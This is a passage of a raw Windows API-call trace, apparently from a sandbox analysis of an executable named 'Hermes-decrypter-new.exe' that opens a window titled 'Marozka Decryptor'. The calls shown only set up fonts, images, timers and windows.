GdipDeleteGraphics (graphics=0x6913c20) returned 0x0 [0152.535] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.535] GetSystemMetrics (nIndex=5) returned 1 [0152.535] GetSystemMetrics (nIndex=6) returned 1 [0152.535] GetSystemMetrics (nIndex=5) returned 1 [0152.535] GetSystemMetrics (nIndex=6) returned 1 [0152.535] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.535] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.535] GetSystemMetrics (nIndex=5) returned 1 [0152.535] GetSystemMetrics (nIndex=6) returned 1 [0152.535] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.535] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.535] GetSystemMetrics (nIndex=5) returned 1 [0152.535] GetSystemMetrics (nIndex=6) returned 1 [0152.536] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.536] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.536] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.536] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x2fb9960) returned 0x0 [0152.536] GdipGetFontSize (font=0x6911af0, size=0x2fb9964) returned 0x0 [0152.544] GdipLoadImageFromStream (stream=0x2a2ff50, image=0x19db90) returned 0x0 [0152.544] GdipImageForceValidation (image=0x6913c20) returned 0x0 [0152.545] GdipGetImageType (image=0x6913c20, type=0x19db8c) returned 0x0 [0152.545] GdipGetImageRawFormat (image=0x6913c20, format=0x19db00*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0152.545] GdipImageGetFrameDimensionsCount (image=0x6913c20, count=0x19e070) returned 0x0 [0152.545] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0xef8260 [0152.545] GdipImageGetFrameDimensionsList (image=0x6913c20, dimensionIDs=0xef8260*(Data1=0x74737953, Data2=0x6d65, Data3=0x82e, Data4=([0]=0x6e, [1]=0x0, [2]=0x61, [3]=0x0, [4]=0x6d, [5]=0x0, [6]=0x65, [7]=0x0)), count=0x1) returned 0x0 [0152.545] LocalFree (hMem=0xef8260) returned 0x0 [0152.545] CoTaskMemAlloc (cb=0x12) returned 0xf0d490 [0152.547] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0152.547] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.547] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0152.547] CoTaskMemAlloc (cb=0x12) returned 0xf0d5f0 [0152.549] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.549] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41340000, style=1, unit=0x3, font=0x2fbb2f8) returned 0x0 [0152.549] GdipGetFontSize (font=0x6911b18, size=0x2fbb2fc) returned 0x0 [0152.549] GetDC (hWnd=0x0) returned 0x1b010670 [0152.549] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.549] GdipGetFontHeight (font=0x6911b18, graphics=0x6915b28, height=0x19e100) returned 0x0 [0152.549] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0152.549] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.550] GetDC (hWnd=0x0) returned 0x1b010670 [0152.550] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.550] GdipGetFontHeight (font=0x6911b18, graphics=0x6915b28, height=0x19e090) returned 0x0 [0152.550] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0152.550] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.550] GetSystemMetrics (nIndex=5) returned 1 [0152.550] GetSystemMetrics (nIndex=6) returned 1 [0152.550] GetSystemMetrics (nIndex=5) returned 1 [0152.550] GetSystemMetrics (nIndex=6) returned 1 [0152.550] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.550] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.550] GetSystemMetrics (nIndex=5) returned 1 [0152.551] GetSystemMetrics (nIndex=6) returned 1 [0152.551] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.551] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.551] GetSystemMetrics (nIndex=5) returned 1 [0152.551] GetSystemMetrics (nIndex=6) returned 1 [0152.551] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.551] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.551] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.551] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.552] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.552] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.552] CoTaskMemAlloc (cb=0x12) returned 0xf0d4d0 [0152.554] GetStockObject (i=5) returned 0x900015 [0152.554] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.554] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0152.554] RegisterClassW (lpWndClass=0x19dfe0) returned 0xc171 [0152.554] CoTaskMemFree (pv=0xeeac78) [0152.554] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.554] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r11_ad1", lpWindowName="TimerNativeWindow", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50074 [0152.555] SetWindowLongW (hWnd=0x50074, nIndex=-4, dwNewLong=1952448832) returned 88362374 [0152.555] GetWindowLongW (hWnd=0x50074, nIndex=-4) returned 1952448832 [0152.555] SetWindowLongW (hWnd=0x50074, nIndex=-4, dwNewLong=88362414) returned 1952448832 [0152.555] GetWindowLongW (hWnd=0x50074, nIndex=-4) returned 88362414 [0152.555] GetWindowLongW (hWnd=0x50074, nIndex=-16) returned 79691776 [0152.555] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50074, Msg=0x24, wParam=0x0, lParam=0x19db5c) returned 0x0 [0152.555] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50074, Msg=0x81, wParam=0x0, lParam=0x19db50) returned 0x1 [0152.556] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50074, Msg=0x83, wParam=0x0, lParam=0x19db3c) returned 0x0 [0152.556] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50074, Msg=0x1, wParam=0x0, lParam=0x19db50) returned 0x0 [0152.556] SetTimer (hWnd=0x50074, nIDEvent=0x1, uElapse=0x64, lpTimerFunc=0x0) returned 0x1 [0152.557] CoTaskMemAlloc (cb=0x12) returned 0xf0d3f0 [0152.558] GetWindowThreadProcessId (in: hWnd=0x50074, lpdwProcessId=0x19e11c | out: lpdwProcessId=0x19e11c) returned 0x390 [0152.558] GetCurrentThreadId () returned 0x390 [0152.559] IsWindow (hWnd=0x50074) returned 1 [0152.559] KillTimer (hWnd=0x50074, uIDEvent=0x1) returned 1 [0152.559] SetTimer (hWnd=0x50074, nIDEvent=0x2, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x2 [0152.559] CoTaskMemAlloc (cb=0x12) returned 0xf0d450 [0152.561] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.561] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.561] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.561] CoTaskMemAlloc (cb=0x12) returned 0xf0d610 [0152.563] CoTaskMemAlloc (cb=0x12) returned 0xf0d670 [0152.566] CoTaskMemAlloc (cb=0x12) returned 0xf0d630 [0152.567] AdjustWindowRectEx (in: lpRect=0x19e128, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19e128) returned 1 [0152.567] GetSystemMetrics (nIndex=59) returned 1460 [0152.567] GetSystemMetrics (nIndex=60) returned 920 [0152.567] GetSystemMetrics (nIndex=34) returned 136 [0152.568] GetSystemMetrics (nIndex=35) returned 39 [0152.568] AdjustWindowRectEx (in: lpRect=0x19e028, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19e028) returned 1 [0152.568] CoTaskMemAlloc (cb=0xe) returned 0xef82c0 [0152.569] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.569] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41400000, style=0, unit=0x3, font=0x2fbd060) returned 0x0 [0152.569] GdipGetFontSize (font=0x6911be0, size=0x2fbd064) returned 0x0 [0152.570] CoTaskMemAlloc (cb=0x12) returned 0xf0d650 [0152.571] AdjustWindowRectEx (in: lpRect=0x19dfe4, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19dfe4) returned 1 [0152.571] AdjustWindowRectEx (in: lpRect=0x19e10c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19e10c) returned 1 [0152.571] GetSystemMetrics (nIndex=59) returned 1460 [0152.571] GetSystemMetrics (nIndex=60) returned 920 [0152.571] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.571] AdjustWindowRectEx (in: lpRect=0x19dee8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19dee8) returned 1 [0152.571] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19e00c) returned 1 [0152.628] GetSystemMetrics (nIndex=11) returned 32 [0152.628] GetSystemMetrics (nIndex=12) returned 32 [0152.628] GetDC (hWnd=0x0) returned 0x1b010670 [0152.628] GetDeviceCaps (hdc=0x1b010670, index=12) returned 32 [0152.628] GetDeviceCaps (hdc=0x1b010670, index=14) returned 1 [0152.628] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.629] CreateIconFromResourceEx (presbits=0x2fc7478, dwResSize=0x4228, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x800a5 [0152.630] CoTaskMemAlloc (cb=0x12) returned 0xf0d3b0 [0152.632] CoTaskMemAlloc (cb=0x12) returned 0xf0d690 [0152.633] CoTaskMemAlloc (cb=0x12) returned 0xf0d410 [0152.635] CoTaskMemAlloc (cb=0x12) returned 0xf0d2f0 [0152.637] CoTaskMemAlloc (cb=0x12) returned 0xf0d430 [0152.638] CoTaskMemAlloc (cb=0x12) returned 0xf0d310 [0152.640] CoTaskMemAlloc (cb=0x12) returned 0xf0d330 [0152.641] CoTaskMemAlloc (cb=0x12) returned 0xf0d370 [0152.642] CoTaskMemAlloc (cb=0xe) returned 0xef8338 [0152.642] CoTaskMemAlloc (cb=0xe) returned 0xef8290 [0152.643] CoTaskMemAlloc (cb=0x12) returned 0xf0d4b0 [0152.644] GetCurrentActCtx (in: lphActCtx=0x19eef4 | out: lphActCtx=0x19eef4*=0x0) returned 1 [0152.644] ActivateActCtx (in: hActCtx=0xef1264, lpCookie=0x19ef04 | out: hActCtx=0xef1264, lpCookie=0x19ef04) returned 1 [0152.645] GetCurrentActCtx (in: lphActCtx=0x19ed14 | out: lphActCtx=0x19ed14*=0xef1264) returned 1 [0152.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.645] AdjustWindowRectEx (in: lpRect=0x19ec18, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19ec18) returned 1 [0152.645] GetCursorPos (in: lpPoint=0x2fcc5c0 | out: lpPoint=0x2fcc5c0*(x=819, y=301)) returned 1 [0152.645] GetSystemMetrics (nIndex=80) returned 1 [0152.646] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x19eafc | out: lpmi=0x19eafc) returned 1 [0152.646] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x5001070c [0152.647] GetDeviceCaps (hdc=0x5001070c, index=12) returned 32 [0152.647] GetDeviceCaps (hdc=0x5001070c, index=14) returned 1 [0152.647] DeleteDC (hdc=0x5001070c) returned 1 [0152.650] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x19eb4c | out: lpmi=0x19eb4c) returned 1 [0152.650] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.650] CreateWindowExW (dwExStyle=0x50080, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="Marozka Decryptor", dwStyle=0x2010000, X=305, Y=153, nWidth=829, nHeight=554, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40078 [0152.651] SetWindowLongW (hWnd=0x40078, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0152.651] GetWindowLongW (hWnd=0x40078, nIndex=-4) returned 1952448832 [0152.651] SetWindowLongW (hWnd=0x40078, nIndex=-4, dwNewLong=88362454) returned 1952448832 [0152.651] GetWindowLongW (hWnd=0x40078, nIndex=-4) returned 88362454 [0152.651] GetWindowLongW (hWnd=0x40078, nIndex=-16) returned 113311744 [0152.652] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x81, wParam=0x0, lParam=0x19e738) returned 0x1 [0152.652] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x83, wParam=0x0, lParam=0x19e724) returned 0x0 [0152.653] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x1, wParam=0x0, lParam=0x19e738) returned 0x0 [0152.653] GetClientRect (in: hWnd=0x40078, lpRect=0x19e3f0 | out: lpRect=0x19e3f0) returned 1 [0152.653] GetWindowRect (in: hWnd=0x40078, lpRect=0x19e3f0 | out: lpRect=0x19e3f0) returned 1 [0152.653] InvalidateRect (hWnd=0x40078, lpRect=0x0, bErase=1) returned 1 [0152.653] AdjustWindowRectEx (in: lpRect=0x19e020, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e020) returned 1 [0152.654] AdjustWindowRectEx (in: lpRect=0x19ddcc, dwStyle=0x4e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ddcc) returned 1 [0152.655] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.655] AdjustWindowRectEx (in: lpRect=0x19e020, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e020) returned 1 [0152.655] SetWindowTextW (hWnd=0x40078, lpString="Marozka Decryptor") returned 1 [0152.655] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0xc, wParam=0x0, lParam=0x2fcb7c0) returned 0x1 [0152.656] GetStartupInfoW (in: lpStartupInfo=0x2fccd0c | out: lpStartupInfo=0x2fccd0c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0152.658] GetParent (hWnd=0x40078) returned 0x0 [0152.658] SetWindowLongW (hWnd=0x40078, nIndex=-8, dwNewLong=0) returned 0 [0152.659] GetSystemMetrics (nIndex=49) returned 16 [0152.659] GetSystemMetrics (nIndex=50) returned 16 [0152.660] CreateIconFromResourceEx (presbits=0x2fccd8c, dwResSize=0x4228, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xd01bf [0152.662] SendMessageW (hWnd=0x40078, Msg=0x80, wParam=0x0, lParam=0xd01bf) returned 0x0 [0152.662] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x80, wParam=0x0, lParam=0xd01bf) returned 0x0 [0152.663] SendMessageW (hWnd=0x40078, Msg=0x80, wParam=0x1, lParam=0x800a5) returned 0x0 [0152.663] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x80, wParam=0x1, lParam=0x800a5) returned 0x0 [0152.663] GetSystemMenu (hWnd=0x40078, bRevert=0) returned 0x0 [0152.664] GetWindowPlacement (in: hWnd=0x40078, lpwndpl=0x19ed24 | out: lpwndpl=0x19ed24) returned 1 [0152.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0152.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0152.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0152.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0152.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0152.664] GetClientRect (in: hWnd=0x40078, lpRect=0x19ed68 | out: lpRect=0x19ed68) returned 1 [0152.664] GetClientRect (in: hWnd=0x40078, lpRect=0x19ecc8 | out: lpRect=0x19ecc8) returned 1 [0152.664] GetWindowRect (in: hWnd=0x40078, lpRect=0x19ecc8 | out: lpRect=0x19ecc8) returned 1 [0152.664] SetWindowPos (hWnd=0x40078, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0152.664] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x46, wParam=0x0, lParam=0x19ece4) returned 0x0 [0152.666] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x46, wParam=0x0, lParam=0x19ece4) returned 0x0 [0152.666] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0152.666] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0152.667] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0152.671] OleInitialize (pvReserved=0x0) returned 0x1 [0152.671] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x19ea24 | out: lplpMessageFilter=0x19ea24*=0x0) returned 0x0 [0152.673] GetCurrentProcess () returned 0xffffffff [0152.673] GetCurrentProcess () returned 0xffffffff [0152.674] GetCurrentProcess () returned 0xffffffff [0152.674] GetCurrentProcess () returned 0xffffffff [0152.718] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0152.725] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0152.725] GetParent (hWnd=0x40078) returned 0x0 [0152.725] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0152.725] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0152.726] GetWindowPlacement (in: hWnd=0x40078, lpwndpl=0x19ea10 | out: lpwndpl=0x19ea10) returned 1 [0152.726] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x47, wParam=0x0, lParam=0x19ece4) returned 0x0 [0152.726] GetClientRect (in: hWnd=0x40078, lpRect=0x19e9c0 | out: lpRect=0x19e9c0) returned 1 [0152.726] GetWindowRect (in: hWnd=0x40078, lpRect=0x19e9c0 | out: lpRect=0x19e9c0) returned 1 [0152.727] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.727] GetWindowLongW (hWnd=0x40078, nIndex=-16) returned 113311744 [0152.727] GetCursorPos (in: lpPoint=0x2fd12a0 | out: lpPoint=0x2fd12a0*(x=819, y=301)) returned 1 [0152.727] MonitorFromPoint (pt=0x334, dwFlags=0x12f) returned 0x10001 [0152.727] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x19eb3c | out: lpmi=0x19eb3c) returned 1 [0152.727] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x350106f6 [0152.727] GetDeviceCaps (hdc=0x350106f6, index=12) returned 32 [0152.727] GetDeviceCaps (hdc=0x350106f6, index=14) returned 1 [0152.728] DeleteDC (hdc=0x350106f6) returned 1 [0152.728] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x19eb8c | out: lpmi=0x19eb8c) returned 1 [0152.728] GetWindowLongW (hWnd=0x40078, nIndex=-16) returned 113311744 [0152.728] GetWindowLongW (hWnd=0x40078, nIndex=-20) returned 328072 [0152.728] SetWindowLongW (hWnd=0x40078, nIndex=-16, dwNewLong=33619968) returned 113311744 [0152.728] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x7c, wParam=0xfffffff0, lParam=0x19ecc4) returned 0x0 [0152.728] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x7d, wParam=0xfffffff0, lParam=0x19ecc4) returned 0x0 [0152.729] SetWindowLongW (hWnd=0x40078, nIndex=-20, dwNewLong=327808) returned 327816 [0152.729] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x7c, wParam=0xffffffec, lParam=0x19ecc4) returned 0x0 [0152.729] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x7d, wParam=0xffffffec, lParam=0x19ecc4) returned 0x0 [0152.729] SetWindowPos (hWnd=0x40078, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0152.729] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x46, wParam=0x0, lParam=0x19ecdc) returned 0x0 [0152.729] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x83, wParam=0x1, lParam=0x19ecb4) returned 0x0 [0152.731] GetWindowPlacement (in: hWnd=0x40078, lpwndpl=0x19ea08 | out: lpwndpl=0x19ea08) returned 1 [0152.731] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x47, wParam=0x0, lParam=0x19ecdc) returned 0x0 [0152.731] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x3, wParam=0x0, lParam=0x990131) returned 0x0 [0152.731] GetClientRect (in: hWnd=0x40078, lpRect=0x19e308 | out: lpRect=0x19e308) returned 1 [0152.731] GetWindowRect (in: hWnd=0x40078, lpRect=0x19e308 | out: lpRect=0x19e308) returned 1 [0152.731] InvalidateRect (hWnd=0x40078, lpRect=0x0, bErase=1) returned 1 [0152.731] GetWindowTextLengthW (hWnd=0x40078) returned 17 [0152.731] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0152.731] GetSystemMetrics (nIndex=42) returned 0 [0152.732] GetWindowTextW (in: hWnd=0x40078, lpString=0x19e160, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0152.732] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0xd, wParam=0x12, lParam=0x19e160) returned 0x11 [0152.733] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.733] AdjustWindowRectEx (in: lpRect=0x19df38, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19df38) returned 1 [0152.733] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.733] AdjustWindowRectEx (in: lpRect=0x19dce4, dwStyle=0x4e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dce4) returned 1 [0152.733] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.733] AdjustWindowRectEx (in: lpRect=0x19df38, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19df38) returned 1 [0152.733] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x5, wParam=0x0, lParam=0x22a033d) returned 0x0 [0152.733] GetClientRect (in: hWnd=0x40078, lpRect=0x19e9b8 | out: lpRect=0x19e9b8) returned 1 [0152.733] GetWindowRect (in: hWnd=0x40078, lpRect=0x19e9b8 | out: lpRect=0x19e9b8) returned 1 [0152.734] RedrawWindow (hWnd=0x40078, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0152.734] GetSystemMenu (hWnd=0x40078, bRevert=0) returned 0x0 [0152.734] GetWindowPlacement (in: hWnd=0x40078, lpwndpl=0x19ed14 | out: lpwndpl=0x19ed14) returned 1 [0152.734] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0152.734] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0152.734] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0152.734] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0152.734] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0152.734] ShowWindow (hWnd=0x40078, nCmdShow=5) returned 0 [0152.734] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.734] GetCurrentActCtx (in: lphActCtx=0x19e964 | out: lphActCtx=0x19e964*=0xef1264) returned 1 [0152.735] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.735] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.735] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=0, Y=95, nWidth=829, nHeight=459, hWndParent=0x40078, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x7004e [0152.736] SetWindowLongW (hWnd=0x7004e, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0152.736] GetWindowLongW (hWnd=0x7004e, nIndex=-4) returned 1952448832 [0152.736] SetWindowLongW (hWnd=0x7004e, nIndex=-4, dwNewLong=88362494) returned 1952448832 [0152.736] GetWindowLongW (hWnd=0x7004e, nIndex=-4) returned 88362494 [0152.736] GetWindowLongW (hWnd=0x7004e, nIndex=-16) returned 1174405120 [0152.736] GetWindowLongW (hWnd=0x7004e, nIndex=-12) returned 0 [0152.736] SetWindowLongW (hWnd=0x7004e, nIndex=-12, dwNewLong=458830) returned 0 [0152.736] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x81, wParam=0x0, lParam=0x19e388) returned 0x1 [0152.737] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x83, wParam=0x0, lParam=0x19e374) returned 0x0 [0152.737] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x1, wParam=0x0, lParam=0x19e388) returned 0x0 [0152.737] GetWindow (hWnd=0x7004e, uCmd=0x3) returned 0x0 [0152.737] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e064 | out: lpRect=0x19e064) returned 1 [0152.737] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19e064 | out: lpRect=0x19e064) returned 1 [0152.737] GetParent (hWnd=0x7004e) returned 0x40078 [0152.737] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40078, lpPoints=0x19e064, cPoints=0x2 | out: lpPoints=0x19e064) returned -9961777 [0152.738] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x5, wParam=0x0, lParam=0x1cb033d) returned 0x0 [0152.738] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x3, wParam=0x0, lParam=0x5f0000) returned 0x0 [0152.738] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e0bc 